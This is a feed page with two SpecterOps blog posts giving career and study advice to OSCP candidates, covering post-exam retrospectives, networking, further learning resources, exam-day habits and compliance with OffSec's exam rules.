❌

Visualização normal

Antes de ontemPosts By SpecterOps Team Members - Medium
  • ✇Posts By SpecterOps Team Members - Medium
  • Getting the Most Value Out of the OSCP: After the Exam Kieran Croucher
    In the final post of this series, I’ll discuss what to do after your latest exam attempt to get the most value out of your OSCP journey.DISCLAIMER:All opinions expressed in this article are solely my own. I have reviewed the content to ensure compliance with OffSec’s copyright policies and agreements. I have not been sponsored or incentivized in any way to recommend or oppose any resources mentioned in this article.IntroductionThroughout this series, I’ve shared practical advice for PEN-200: Pen
     

Getting the Most Value Out of the OSCP: After the Exam

In the final post of this series, I’ll discuss what to do after your latest exam attempt to get the most value out of your OSCP journey.

DISCLAIMER:
All opinions expressed in this article are solely my own. I have reviewed the content to ensure compliance with OffSec’s copyright policies and agreements. I have not been sponsored or incentivized in any way to recommend or oppose any resources mentioned in this article.

Introduction

Throughout this series, I’ve shared practical advice for PEN-200: Penetration Testing with Kali Linux students seeking to maximize the professional, educational, and financial value of pursuing the Offensive Security Certified Professional (OSCP) certification. So far, I’ve focused on four distinct phases of “the OSCP journey”: 1) pre-enrollment preparation, 2) the course material, 3) the lab networks, and 4) the exam. In this final post, I’ll discuss how students can leverage their most recent exam experience to learn from their mistakes and increase their chances of passing the exam on subsequent attempts. I’ll also share guidance for newly certified OSCP professionals on how to continue their cybersecurity journey with purpose and direction.

PEN-200: Penetration Testing Certification with Kali Linux | OffSec

After the Exam…

“To finish the moment, to find the journey’s end in every step of the road, to live the greatest number of good hours, is wisdom.” — Ralph Waldo Emerson

What you do after each OSCP exam attempt carries both short- and long-term implications for your professional success. Here are the three takeaways from this post:

  1. Pass or fail, every student should conduct a thorough retrospective of their last exam attempt to determine what went well, where to focus future study efforts, and what productivity sinks to eliminate
  2. For students still trying to pass the exam, connecting with others can inspire new strategies, uncover useful training resources, and impart valuable insight; certified professionals can also use this network for career support and guidance
  3. The final piece of advice in this series is simply to reflect on your OSCP journey so far and decide what you want to pursue next, whether that’s further self-guided study, a new certification, or a job transition

Conduct an Exam Attempt Retrospective

After your OSCP exam—whether you passed or not—the most valuable thing you can do is pause and unpack what actually happened. For students still pursuing the certification, the benefit is clear: increasing the odds of passing the next attempt. However, even newly certified professionals can gain valuable insight by identifying areas for improvement or exam-day “bottlenecks” that hindered productivity. In this section, I propose a structured retrospective methodology, defined here as a deliberate and reflective review of your performance with the goal of identifying what worked, what failed, and what to improve. You can think of it as a technical postmortem of your latest exam attempt.

It took me three attempts to pass the OSCP exam. In my first attempt, I performed well on the standalone machine set but struggled with lateral movement and privilege escalation in the Active Directory (AD) set. I assumed my only obstacle was a lack of familiarity with AD attack vectors, so I rewrote my notes for the appropriate PEN-200 modules and practiced more with AD network exercises. Had I conducted an exam retrospective, however, I would have uncovered several other weaknesses in my approach:

  • An underdeveloped external reconnaissance methodology
  • Poor tradecraft documentation
  • Suboptimal time management

My second attempt resulted in an even poorer performance (I exfiltrated only a single flag) despite being better informed on AD internals. Needless to say, I was shocked and profoundly disappointed.

After pulling myself out of that slump, I mulled over my latest attempt and used the lessons I’d learned to perform significantly better on my third and final try. With that success in mind, I revisited my retrospective process and refined it for this blog series. The workflow is illustrated in the swimlane flowchart diagram below:

The first, and arguably most important, phase of the exam retrospective is data gathering. The quantity, quality, and accuracy of the data you collect at this stage largely determines the retrospective’s value. By the end of this phase, you should have two core outputs that will inform the next stages of analysis:

  • Timeline: Reconstruct your exam attempt as accurately as possible by capturing timestamps of your actions; break down each event by challenge set, machine, attack stage (e.g., reconnaissance, privilege escalation, lateral movement), and report status
  • Machine Breakdown: Review your notes to identify the observable technologies on each of the six exam machines; note the services discovered, attacks or procedures attempted, tools used, and where you stopped along each attack path

After completing the data gathering phase, take a two-pronged approach to the analysis phase:

  1. Identify operational hurdles that ate into your 24-hour testing window and hampered productivity using the exam timeline
  2. Use the machine breakdowns to identify which technologies, tools, or attack stages hindered your exam performance

The goal in both cases is to enumerate deficiencies you can address later in the reconstruction phase. During reconstruction, you will build on your findings by 1) creating a targeted study plan, 2) reorganizing your notes, reference guides, or report templates, and 3) refining your testing methodology and time management strategy.

Start by analyzing your exam timeline and using your observations to guide improvements in your preparation:

1. Did one challenge set (i.e., the AD or independent challenges) take significantly longer than the other or remain incomplete?

This could signal a technical knowledge gap in areas like AD enumeration, Windows/Linux exploitation, or web application testing. If so, adjust your study plan to focus deliberately on these topics before your next attempt. Platforms like Hack The Box (HTB) allow you to filter machines by technology, operating systems (OS), or attack type; making it easier to target weak areas and reinforce essential skills.

2. Did missing or incomplete notes, fragmented reference guides, or disorganized report templates cause you to lose time?

If you struggled to retrieve commands or documentation under pressure, it’s time to streamline your tradecraft resources. Consolidate your notes, build out your reference guides, and prep your report templates in advance to minimize exam-day friction.

3. Did you fall into time sinks or go down rabbit holes that led nowhere?

Reflect on how your methodology might have contributed to wasted time. Consider introducing more automation, pruning redundant steps, or adopting a timeboxing approach like the Pomodoro Technique to improve your efficiency.

In the second step of the analysis phase, use the exam machine breakdowns you created earlier to answer the following questions and develop action items:

1. Did you fail to exploit or enumerate any technologies or services?

Use these insights to shape a focused study plan. Again, utilize platforms like HTB and prioritize practical training resources to dictate your informed study approach.

2. Did you discover a vulnerability but fail to exploit it due to tool issues or syntax errors?

Explore alternative tools that better align with your workflow and update your reference guide with accurate syntax and usage examples. Link entries in your reference guide for given exploitation techniques to examples of HTB or OffSec lab machines where you successfully executed those techniques. Aim to maintain at least two tools for each post-exploitation task: one that runs from your Kali Linux box and another that you can execute on a compromised host (e.g., a PowerShell script or .NET assembly). Apply the same principle to external recon tasks. Keeping your toolkit diverse and your notes accurate can save critical time under pressure.

3. Did specific attack stages (e.g., external reconnaissance, privilege escalation, credential harvesting) not return actionable results or break down?

Revisit and revise your methodology. Resources like HackTricks and Swissky’s cheatsheets can help close knowledge gaps. Add checkboxes or mind maps to your processes for common services (e.g., FTP, SMB, and HTTP) to ensure thorough and repeatable enumeration. Apply the same structured approach to post-exploitation workflows for both Windows and Linux targets. Test your updated methodology against easy-to-medium HTB machines to validate your changes before the next attempt.

By the end of both analyses, you should have a concrete plan to address the weaknesses exposed during the retrospective. If you’re still preparing for the OSCP—or simply want to gauge your progress—allocate time to retest your skills and methodology after completing your action items. If you followed my advice from the third post of this series and haven’t yet completed one of the three PEN-200 lab networks that simulate the exam environment, now’s the time. Treat the lab network as your control environment and your new score as the dependent variable: the measurable outcome of your adjusted approach. Once you’re satisfied with the results, reschedule your next OSCP exam attempt.

By following this approach, PEN-200 students will be better prepared for future OSCP exam attempts and better equipped to continue their self-guided education after earning the certification. This methodology can be applied as an iterative feedback loop across multiple attempts, helping to identify skill gaps and drive continuous improvement. As long as students maintain a positive attitude and a genuine interest in self-discovery, they can expect steady progress in both exam performance and testing confidence.

Network With Industry Professionals and Fellow Students

Throughout the OSCP study process, it’s easy to become hyperfocused and socially isolated. In doing so, students often miss out on one of the PEN-200’s greatest strengths: its expansive network of peers, mentors, and potential professional contacts. Whether you’ve already earned your OSCP or are still working through the exam process, connecting with others can transform the solitary grind of preparation into a collaborative, enriching journey and accelerate your professional aspirations.

As a current PEN-200 student, networking offers opportunities to learn, share, and stay motivated. After I failed my second attempt, I reached out to a friend enrolled in PEN-300: Advanced Evasion Techniques and Breaching Defenses and asked if I could shadow him while we both worked on HTB Pro Labs. During those sessions, we swapped enumeration checklists, shared our favorite tools, and discussed our approaches to exam retrospectives. Other students can benefit from networking by finding accountability partners, joining study groups, discovering new exploitation strategies, and staying emotionally grounded throughout this challenging process.

NOTE:
One of my favorite takeaways from shadowing mock penetration tests was learning how to speed up directory brute-force enumeration on Windows Internet Information Services (IIS) web servers. Because Windows hosts are case-insensitive—unlike UNIX-like systems—you can significantly reduce redundancy and improve performance by using tools like gobuster or dirsearch with a wordlist limited to lowercase or uppercase entries. This is just one example of how collaborating with other OffSec students or ethical hackers can inspire new testing strategies and accelerate your learning process.

For newly certified OSCP holders, networking takes on renewed importance. Earning the certification opens doors to job opportunities, interviews, and professional conversations that weren’t accessible before—but you can’t expect to walk through them without making connections first. Talking with people who are deeply embedded in the industry also provides insights that static courses can’t realistically capture like real-time knowledge about evolving roles, industry or specific company expectations, and career path requirements that wax and wane with industry trends. Networking also helps you plan the next phase of your self-guided education—whether that means expanding on PEN-200 concepts, charting your own course by exploring new cybersecurity domains, building a home lab, or other ideas I’ll cover later in the post. Conversations with those who’ve already moved beyond PEN-200 can help you set clear goals, avoid common pitfalls, and stay aligned with the rapidly evolving demands of the offensive security industry.

The most obvious networking platform for PEN-200 students is the official OffSec Discord server, but many other communities are worth exploring:

  • Discord Servers: HackTheBox, TryHackMe, Kali Linux & Friends, and DEFCON host active pocket communities of current and former PEN-200 students
  • OffSec Office Hours: The OffSec Discord hosts weekly livestreams on Fridays where an instructor walks through an OffSec Proving Grounds machine; these sessions are a great way to stay sharp and engage with other OSCP-hopefuls
  • Reddit: The r/oscp subreddit focuses specifically on OSCP-related content, though the quality and tone of posts can vary (it is Reddit, after all)
  • Content Creators: Figures like IppSec, The Cyber Mentor, and Tib3rius regularly produce livestreams and educational material, maintaining active online communities where you can connect with like-minded learners
  • LinkedIn: Many OffSec students use LinkedIn to showcase their OSCP certification, share their learning journeys, comment on others’ milestones, and build professional relationships
  • In-Person Events: Local meetups such as OWASP Local Chapters, Security BSides events, or regional DEF CON Groups are great places to find a supportive community, sharpen your skills, define a new career path, and potentially meet future travel partners for a trip to the world-famous DEF CON conference in Las Vegas

Discord - Group Chat That's All Fun & Games

Whether you’re newly certified or still grinding to earn the OSCP, don’t neglect the networking opportunities this journey presents. As a current student, sharing tips and hurdles keeps you technically informed and motivated. As a newly minted OSCP, connecting with career mentors and peers reinforces your knowledge and expands your professional circle. By engaging in Discord servers, study group meetups, or LinkedIn discussions, you gain real-time insights, accountability, and a support network that lasts well beyond the exam. No matter where you are in the OSCP journey, investing time in these communities accelerates your learning and lays the groundwork for long-term success in offensive security.

Ask Yourself, “What’s Next?”

I would like to take a moment to personally congratulate everyone reading this who has recently passed the OSCP exam. You’ve likely invested months—if not years—into earning this credential, amassing a solid foundation of experience and knowledge along the way. Ask yourself: What did you enjoy most? What would you prefer to avoid in the future? These reflections can guide your next challenge, the skills you want to sharpen, and your broader career direction. To close out this series, I’d like to explore those possibilities and highlight how they can enhance your professional profile.

First things first: take a break. Seriously. You’ve reached an impressive milestone and while it’s tempting to dive immediately into the next pursuit, give yourself time to rest and decompress. If possible, take a vacation (or at least a few days off) to recover from the intensity of exam prep.

Before deciding what’s next, update your resume to include your OSCP certification and prepare for the job hunt. If you’re entering the cybersecurity job market, I highly recommend the Infosec Job Hunting w/ BanjoCrashland YouTube playlist. It covers everything from finding job postings and writing resumes to networking and interview preparation. Many of the techniques discussed in this series involve open-source intelligence (OSINT) gathering techniques, which can double as skill development for future offensive roles. The creator, Jason Blanchard of Black Hills Information Security, also hosts a weekly Twitch stream, Job Hunt Like a Hacker, which expands on these lessons with real-time advice and feedback. While I haven’t attended the stream personally, at least 278 people (as of this writing) credit Blanchard and his content for helping them successfully pivot into cybersecurity—an endorsement of both his insight and the supportive community he’s fostered.

Many OSCP holders choose to write a public reflection on Medium, LinkedIn, or a personal blog platform. If you do the same, structure it like a retrospective: document what went well, what didn’t, how you studied, and what you would change in hindsight. Avoid spoilers, walkthroughs, or anything that could violate OffSec Terms and Conditions. A well-written reflection not only inspires other PEN-200 students but can also serve as a networking tool, a technical writing sample, and a resume booster. Take your time writing it and ensure it’s something you’re proud to attach your name to.

This whole series has focused on one cybersecurity certification (the OSCP) and briefly mentioned a few others. In spite of that, I recommend caution before making another certification your next professional goal. As I said in the first post of this series, it’s important to view all certifications through a critical lens. The certification industry is, ultimately, a business and students should remain conscious of marketing narratives that inflate their importance or imply that earning one guarantees employment in your field of choice. Rather than chasing credentials to bypass every human resources (HR) filter—a Sisyphean task, in my opinion—focus instead on crafting a narrative of steady, deliberate growth in your ethical hacking journey. That narrative can include certifications, but it could also highlight personal projects, practical experience, and self-guided exploration. In short, learn to wield certifications like a scalpel rather than a claymore while also peppering your journey with cost-effective resume boosters.

For example, many offensive security professionals pursue the Certified Red Team Operator (CRTO) or Offensive Security Experienced Penetration Tester (OSEP) after earning the OSCP. Equally valid (and often more cost-effective) alternatives include climbing the ranks on HTB, developing your own command and control (C2) framework, or participating in bug bounty programs like HackerOne or Bugcrowd. A few strategic acronyms on your resume can open doors, but too many can spell doom for your wallet.

PEN-200 offers valuable lessons, but it’s still an entry-level certification and only scratches the surface of many cybersecurity topics. If you want to build on its concepts at a higher level, consider the following:

  • Web Applications

While PEN-200 introduces core techniques like SQL injection (SQLi) and cross-site scripting (XSS), the web app security field itself spans hundreds of server-side and client-side vectors, subtle edge cases, and novel exploitation methods that researchers are constantly discovering. PortSwigger Academy is my favorite free platform for advancing these skills, as it offers comprehensive written material and interactive labs.

  • AD Attack Vectors

AD represents a massive attack surface and the PEN-200 therefore covers only the fundamentals while omitting topics like Kerberos delegation, Active Directory Certificate Services (ADCS), and Microsoft Configuration Manager (MCM/SCCM). Use BloodHound Community Edition as both an addition to your toolkit and a knowledge base for improving AD tradecraft.

  • Reporting

As mentioned in the third post of this series, technical reporting may be the most transferable skill from the PEN-200 into real-world engagements. Refer back to the included resources in that article and set time aside to improve this area.

  • Red Teaming

While red teaming overlaps significantly with penetration testing, it emphasizes different skills such as persistence, command and control, and exfiltration. Explore techniques relative to these domains and learn how to adapt each PEN-200 post-exploitation technique to blend with legitimate network traffic, enhancing stealth.

NOTE:
The differences between penetration testing and red teaming are often subtle and vary between organizations. Understanding these nuances is crucial when entering the job market, as mismatched expectations can hinder a successful career pivot. My favorite explanation comes from JUMPSEC, which notes that penetration testing aims to uncover as many flaws as possible, while red teaming focuses on achieving specific objectives to demonstrate real-world impact. Red teaming also places greater emphasis on operational security (OPSEC) evasion and threat actor emulation.

There are even more offensive security topics not covered in PEN-200 that may interest you:

  • Cloud Security

Just as pervasive as web applications, cloud platforms—such as Amazon Web Services (AWS), Google Cloud Platform (GCP), and Microsoft Azure—present huge attack surfaces. HackTricks Training is a relatively new but solid starting point for offensive cloud security training.

  • Wireless Security

While access to PEN-210: Foundational Wireless Network Attacks and an OffSec Wireless Professional (OSWP) exam voucher are available to OffSec Learn One subscribers, you might try the free WiFiChallenge Lab first before enrolling in another certification program.

  • Malware & Payload Development

Maldev Academy and SEKTOR7 Institute come highly recommended throughout the industry. The skills these courses help you develop are essential to advanced post-exploitation, red teaming, and custom implant engineering.

  • Other Domains

Other common domains are mobile devices and applications, industrial control systems (ICS), Internet of Things (IoT) devices, large language model (LLM) web applications, social engineering, and physical access control systems (PACS).

I wrote this series for PEN-200 students whose goal is to pivot into the offensive security consulting industry; however, that is only one demographic of the PEN-200 student body. Many students pursuing the OSCP are considering (or already employed in) fields tangential to penetration testing and red teaming. If you’re more aligned with adjacent fields like reverse engineering, development, security, and operations (DevSecOps), security operations center (SOC), or detection engineering, there are valuable resources for those too:

  • Reverse Engineering & Malware Analysis

Try Malware Unicorn’s Reverse Engineering 101 or HackerSploit’s Malware Analysis Bootcamp for free, the latter of which concludes with case studies of artifacts from the 2018 Flare-On Challenge capture the flag (CTF) event and the cyberweapon Stuxnet (used during the sabotage campaign of Iranian nuclear enrichment facilities known as Operation Olympic Games).

  • DevSecOps

I highly recommend the corporate training program Secure Code Warrior or the more affordable Hacksplaining platform for individuals looking to improve their secure development skills.

  • SOC

SOC analysts are often on the front lines of incident detection and response. Utilize online training platforms like CyberDefenders or TryHackMe, both of which offer learning paths for SOC levels 1–3. Radiant Security has a helpful explanation of the differences between these tiers.

  • Detection Engineering

Now that you understand how many fundamental attacks work, flip the perspective by learning how to detect malicious behavior, craft alerts, and better understand attacker tradecraft. Budget-conscious learners can start with Practical Threat Detection Engineering from packt and its accompanying code repository, while Applied Network Defense offers a well-regarded catalog for those seeking deeper coverage.

  • Other Domains

Other common domains are digital forensics and incident response (DFIR), governance, risk, and compliance (GRC), and threat intelligence gathering (AKA threat hunting).

NOTE:
As with all commercial training options, consider whether the return on investment (ROI) justifies enrollment.

Lastly, consider how you might participate in or give back to the information security community. If you live in or near a city, look for volunteer opportunities as a technical coach for underrepresented communities (e.g., older citizens, non-native English speakers, or individuals with physical or cognitive disabilities) or as a volunteer network engineer for nonprofit organizations. Consider volunteering at a local public school to talk about careers in cybersecurity and what drew you to ethical hacking. Many diversity-focused nonprofit organizations and affinity groups in cybersecurity offer valuable resources like career mentorship, CTF events, digital privacy training, and financial sponsorship for professional development. Notable examples include Women in Cybersecurity (WiCyS), Blacks in Cybersecurity (BIC), Latinas in Cyber (LAIC), Secure Diversity, and Minorities in Cybersecurity (MiC). Getting involved with these groups can expand your network, strengthen your resume, and allow you to give back to the community in meaningful ways.

Earning the OSCP is an extraordinary accomplishment, but it’s just one checkpoint in a much longer and more worthwhile journey. Whether you continue with more certifications, lab projects, or community involvement, remember to stay curious, humble, and ethical. Make your next steps intentional, and remember: as with the OSCP, the process itself should be as rewarding as the prize.

Conclusion

It’s been a privilege to write this series and I’m grateful to my colleagues and friends for their valuable feedback and ongoing support. As always, I welcome your questions, constructive critiques, or additional advice for current and future PEN-200 students in the comments.


Getting the Most Value Out of the OSCP: After the Exam was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.

  • ✇Posts By SpecterOps Team Members - Medium
  • Getting the Most Value Out of the OSCP: The Exam Kieran Croucher
    A practical guide to maximizing the short- and long-term benefits of your upcoming OSCP exam attempt(s).DISCLAIMER:All opinions expressed in this article are solely my own. I have reviewed the content to ensure compliance with OffSec’s copyright policies and agreements. I have not been sponsored or incentivized in any way to recommend or oppose any resources mentioned in this article.IntroductionIn the last post in this series, I discussed a few proactive steps students should take throughout th
     

Getting the Most Value Out of the OSCP: The Exam

A practical guide to maximizing the short- and long-term benefits of your upcoming OSCP exam attempt(s).

DISCLAIMER:
All opinions expressed in this article are solely my own. I have reviewed the content to ensure compliance with OffSec’s copyright policies and agreements. I have not been sponsored or incentivized in any way to recommend or oppose any resources mentioned in this article.

Introduction

In the last post in this series, I discussed a few proactive steps students should take throughout the PEN-200: Penetration Testing with Kali Linux labs as part of their efforts to earn the Offensive Security Certified Professional (OSCP) certification. In this entry, let’s focus on test day itself—and how to maximize the educational, financial, and professional value of the OSCP exam experience.

PEN-200: Penetration Testing Certification with Kali Linux | OffSec

During the Exam(s)…

“You may be disappointed if you fail, but you are doomed if you don’t try.” — Beverly Sills

Congratulations—you’re now ready to take the OSCP exam! Despite being the shortest of the five phases in the “OSCP journey”, there are still important steps you can take to ensure you’re getting your money’s worth. Here are three key takeaways for all future exam-takers:

  1. The OSCP exam is designed to mimic a black-box penetration test, but due to the nature of standardized testing, it inevitably falls short of being a perfect replica of a real-world engagement; while this is completely reasonable, it helps to be prepared to speak to these nuances in future job interviews and not to confuse exam-specific tactics with best practices in the field
  2. Certification exams—for better or worse—play a role in many offensive security consulting careers, so it’s best to set a precedent for sustainable and practical test-taking behavior by developing realistic, ethical, and repeatable exam-day practices and using them during your OSCP attempt(s)
  3. Follow OffSec’s exam-day instructions to the letter, as even minor deviations could invalidate months (or years) of work toward the OSCP and may disqualify you from future OffSec certifications

Understand the Differences Between the OSCP Exam and Real-World Practice

While the OSCP exam certainly tests your offensive security knowledge, it’s important to understand what the exam is and isn’t. OffSec has gone to great lengths to make the OSCP a realistic simulation of a black-box penetration test; however, to ensure fair grading and timely results, it comes with inherent limitations. By recognizing these gaps ahead of time, students can better interpret their exam experience, set realistic expectations for future consulting roles, better articulate their skills in interviews, and avoid drawing the wrong conclusions about what the certification does (or doesn’t) prove to a technical recruiter.

While not an exhaustive list, here are the differences I consider the most significant to keep in mind:

  • Team Collaboration: Although the OSCP exam is a solo endeavor, operators seldom work alone in real-world engagements; exceptions may exist for engagements with extremely limited scope or niche objectives, but most involve at least two consultants
  • Client Interaction: During the exam, your only contact is with the OSCP proctor(s); in a real engagement, you should expect to interact with business managers, engineers, security operations center (SOC) employees, and a designated point of contact (POC) throughout the lifecycle of a client-consultant relationship
  • Scope Definition and Rules of Engagement (ROE): While the Exam Restrictions in the exam guide could be interpreted as a partial ROE, real-world assessments include far more comprehensive documentation and legal implications for its violations; consultants may also be involved in negotiating the scope of upcoming engagements
  • Engagement Objectives and Metrics: The objective of the OSCP exam is to gain initial and elevated access to as many systems as possible; in contrast, real-world assessments—especially red team exercises—may involve more targeted objectives, like exfiltrating dummy data, compromising specific users or systems, bypassing defenses, or demonstrating how vulnerabilities are tied to business impact
  • Operating with Due Caution: Whereas the OSCP exam gives candidates near-total freedom within the simulated network (aside from a few restricted attacks and tools), real-world consultants must consider the impact of their actions on live systems and people, adapting their approach as needed; consultants will often request POC approval before executing commands that could trigger account lockouts or system downtime
  • Deconfliction: If an attack is detected, SOC teams may raise a deconfliction event to confirm it was part of the assessment; if not confirmed, the alert could trigger a full-scale incident response process
  • Post-Engagement Procedures: After the OSCP exam, the student’s only obligation is to submit a report; in contrast, wrapping up legitimate consulting engagements may involve artifact cleanup, resolving deconfliction events, stakeholder presentations, blue team debriefs, infrastructure teardown, and secure data destruction
  • Cloud-Hosted Tools: Using third-party or cloud-hosted tools to process clients’ artifacts—such as for reverse engineering, data exfiltration, or hash cracking—carries the risk of exposing secrets to systems beyond client or consultant control; because the OSCP exam uses entirely fictional data, its restrictions around cloud usage are more flexible
  • Timeline: The OSCP exam splits the practical and reporting components into two ~24-hour phases that test a candidate’s ability to rapidly identify, exploit, and document vulnerabilities; in contrast, real-world engagements typically span several weeks per phase depending on scope and client expectations
  • Threat Modeling: Some assessments require consultants to emulate specific threat actors by using a tailored subset of tactics, techniques, and procedures (TTPs); during the OSCP, students are not bound by these constraints
  • Kali Linux Requirement: The OSCP must be completed using a Kali Linux VM, but while Kali is a popular Linux distribution for ethical hacking, its large toolset increases both operational overhead and the probability of detection; real-world operators often use custom minimal Linux builds with obfuscated toolkits deployed via continuous integration and continuous delivery/deployment (CI/CD) pipelines to reduce both detection risk and scaling costs
  • Social Engineering: While the OSCP exam may involve limited client-side attacks (an assumption based on the fact that there is a “Client-Side Attacks” module in the publicly available syllabus), its highly automated structure means it offers few opportunities to exploit the weakest link in any cybersecurity program: the human element; in real-world assessments, consultants may use tactics like spear-phishing, vishing, or smishing (if the ROE permits it) to achieve credential access or arbitrary code execution (ACE) capabilities
  • Physical Security: Some assessments allow physical intrusion tactics—such as piggybacking/tailgating or lock-picking—to gain access to critical infrastructure and test physical security controls; while not feasible during the OSCP exam and somewhat niche, it’s still valuable to conceptually understand these attack vectors

The OSCP is an achievement to be proud of, but it doesn’t perfectly mirror professional practice. Keeping these differences in mind, students can more accurately frame their OSCP experience, communicate their skills more effectively, and set realistic expectations for job responsibilities. Recognizing its limitations is a critical step toward bridging the gap between certification and your career.

Develop Healthy Exam Habits

If this is your first multi-day practical exam, it’s best to build healthy habits and eliminate disruptive ones early. This sets you up for long-term success and a better experience in future exams, regardless of which certification you’re pursuing.

The OSCP exam, for those unfamiliar, is a grueling ordeal. It begins with a 23-hour, 45-minute technical assessment where the student must exfiltrate a minimum number of flags from six machines. Three of these are standalone targets that require the student to complete the full attack path—from initial access to privilege escalation. The other three form an Active Directory (AD) set, where the student is ceded access as a lower-privileged user and escalates to Domain Admin or equivalent-level access. To pass, students must capture enough flags to reach at least 70 out of 100 points (each flag is worth 10 points). They’re then given ~24 more hours to submit a professional report detailing how they achieved each objective. Needless to say, it’s an exhausting endeavor and a major source of stress for many.

As painful as it is to admit, the OSCP—for all its notoriety and difficulty—is considered an entry-level certification in offensive security consulting. It covers a wide breadth of knowledge but ultimately scratches the surface of or doesn’t attempt to address topics like evading operational security (OPSEC) solutions, deploying and maintaining command and control (C2) infrastructure, and identifying more advanced vulnerabilities, to name a few. While certifications aren’t strict gatekeepers to the industry or career advancement, an employer may eventually require you to pursue more advanced practical exams (or you may feel pressured to do so to stay competitive in the job market). With that in mind, and especially if the OSCP is your first multi-day practical exam, it’s in your best interest to develop sustainable exam habits early on to avoid building a detrimental relationship with certifications.

Let’s start with the simplest, yet arguably hardest, topic: sleep. While it may be tempting to pull an all-nighter and grind through flags as quickly as possible, this approach is likely counterproductive. Research consistently show that sleep deprivation impairs cognitive functioning, stifles creativity, and slows reaction times—all of which are essential during the OSCP exam. Some studies even suggest that sleeping more than usual the night before a test is correlated with better performance. For multi-day exams, I aim for at least eight hours of sleep each night, regardless of how much progress I made the day before. If you’re interested in the science behind sleep, I highly recommend Why We Sleep by Matthew Walker, PhD.

Your exam success largely depends on the quality of your notes. Make a habit of taking structured, detailed, and legible notes throughout your technical challenges. Consider building a note template in a node-based application like Obsidian and refining it during a few PEN-200 Challenge Labs or Hack the Box (HTB) machine exercises. The more structure you establish in advance, the more mental bandwidth you preserve on exam day. Effective note-taking is a transferable skill that strengthens both your technical execution and report-writing abilities as an offensive security consultant.

A few days before an exam, I like to deep clean my office—starting with vacuuming the floors and finishing by decluttering my workspace. A minimalist setup not only supports compliance with OffSec’s exam policies (more on that later), but also fosters a calmer mental space where you can think clearly and move efficiently. I also recommend silencing your phone, placing it out of reach, notifying others that you’ll be unavailable, and using noise-canceling headphones if you’re in a shared household. The fewer distractions in your space, the easier it is to focus on solving complex problems.

The tight 24-hour window of the OSCP exam demands a strategic approach to time management. Techniques like the Pomodoro Technique—working in focused sprints followed by short breaks—can help prevent burnout and minimize the risk of losing hours chasing rabbit holes. Even if you choose not to use a formal time-management method, entering the exam with a clear plan is far more effective than charging in with a purely reactive mindset. Some approaches that merit attention include capping your focus on a single challenge to 60-90 minutes before pivoting to another, or pre-allocating specific blocks of time to each machine/challenge set in the exam.

Your time-management strategy should also account for the maintenance of your own body: plan your meals in advance, step away from the screen while eating, and stay well hydrated. If possible, build in time on test-day for light aerobic activity—such as a quick jog, a walk with the dog, or a short set of bodyweight exercises like jumping jacks, mountain climbers, or burpees. Brief physical movements can help re-energize your mind, reduce stress, and boost cognitive performance.

To help anchor your experience and reduce anxiety, consider designing personal pre- and post-exam rituals. The night before, do something relaxing—like casually reviewing your notes, solving an easy HTB machine, or writing encouraging Post-it notes to stick on your wall. Set your clothes, snacks, and water up like you’re getting ready for a marathon—because in many ways, you are. After the exam, give yourself a buffer to recover, reflect, and decompress. Personally, I like to go out with friends, play nostalgic video games, or grab a Guinness. Whatever your rituals look like, make them personal and genuinely rewarding.

Finally, I encourage all students to embrace the result of the exam, pass or fail. The OSCP is not the final word on your skills—it’s a checkpoint, not a verdict. In fact, failing by a narrow margin can often be more educational—and ultimately more empowering—than barely passing. By adopting a growth mindset, you can view a missed attempt not as a reflection of your limitations, but as an opportunity to walk away with clearer insight into your strengths and gaps. This self-awareness can be carried with confidence into job interviews, real-world engagements, and the refinement of your study plan. We’ll explore this topic more deeply in the next post.

Building sustainable and empowering exam habits isn’t just about getting through a difficult 24 hours; it’s about establishing a process you can carry into future certifications, real-world assessments, and high-stakes professional challenges. By developing tenable and fulfilling exam-day practices with intent, you give yourself the best possible chance to succeed—not just in the exam, but in the career that follows.

Don’t Risk Your Exam Attempt

The OSCP certification is a multi-thousand dollar investment, so the last thing any student wants is to have their attempt invalidated due to a preventable mistake or misunderstanding that results in an accusation of academic misconduct. Rather than viewing the exam solely as a test of technical skill, candidates should approach it as a professional engagement with clearly defined operational and ethical boundaries. To safeguard the time, effort, and money you’ve invested in the OSCP journey, it’s imperative to read every instruction carefully, double-check your testing environment, and follow OffSec’s exam-day guidelines to the letter.

As one of the most recognized credentials in cybersecurity, the OSCP carries significant industry weight—and OffSec therefore takes the integrity of its exam process seriously. In 2018, in response to growing concerns about cheating, OffSec introduced an online proctoring system to the exam. Candidates are required to verify their identity with a government-issued ID and maintain continuous screen sharing and webcam visibility during the first ~24 hours of the exam.

In 2019, an individual using the handle cyb3rsick publicly released write-ups for several [now retired] OSCP exam machines, reportedly in protest of the exam’s format, which they claimed “allowed thousands of [students] to cheat and pass the exam”. Coverage of the incident highlighted both the controversy and the industry’s reaction. In response, OffSec published a blog post that provided insight into the organization’s anti-cheating measures. These include: relying on community reports, monitoring suspicious groups or individuals, modifying exam systems on a “regular basis”, using undisclosed detection mechanisms during grading, and online proctoring. Most notably, OffSec emphasized that cheaters may face severe consequences—including potential legal action. As stated in their post, “cheaters have lost their certs, paid fines, lost their jobs, and been embarrassed in front of their peers”.

Some stories involving failed exam attempts, revoked certifications, or bans appear to stem from accidental missteps rather than deliberate misconduct. While it’s clear that OffSec has taken meaningful action against individuals who have knowingly violated academic integrity policies, it’s also reasonable to acknowledge that some cases may result from honest mistakes, misunderstandings, or technical issues. One example occurred in 2019, when a student used the common Linux/Unix* post-exploitation enumeration tool, LinPEAS, during their exam. At the time, a recent update to the script had introduced an auto-exploitation feature, which resulted in the student escalating privileges immediately on the target host. Because the Exam Restrictions prohibit the use of tools with auto-exploitation capabilities, the student initially received a failing grade. OffSec later addressed the incident in a blog post, and the student reportedly had their result overturned and was awarded a passing grade. There have also been multiple incidents of students losing their certifications after their private exam reports were leaked or stolen and subsequently used by others to cheat—an issue OffSec has acknowledged in their Support Portal.

This section is not intended to criticize or undermine OffSec’s authority to vigorously pursue cases of academic misconduct or copyright infringement, but rather to inform aspiring OSCP-certified professionals—especially those acting in good faith—on how to conduct themselves confidently and transparently on exam day.

To align with OffSec’s expectations for a successful exam day, I recommend the following:

  • Revisit the OSCP Exam Guide and PEN-200 Reporting Requirements a week or two before your exam; consider incorporating them into a Requirements or Rules of Engagement section in your report template to reinforce them into memory
  • Keep the proctoring window visible at all times, reply promptly to requests, and reconnect your camera immediately if it becomes disconnected
  • Remove unnecessary items from your workspace, such as additional screens (OffSec permits up to four monitors during the exam), notebooks, smart devices, or inactive laptops
  • Store your phone in a separate room and notify others that you’ll be unreachable during the exam
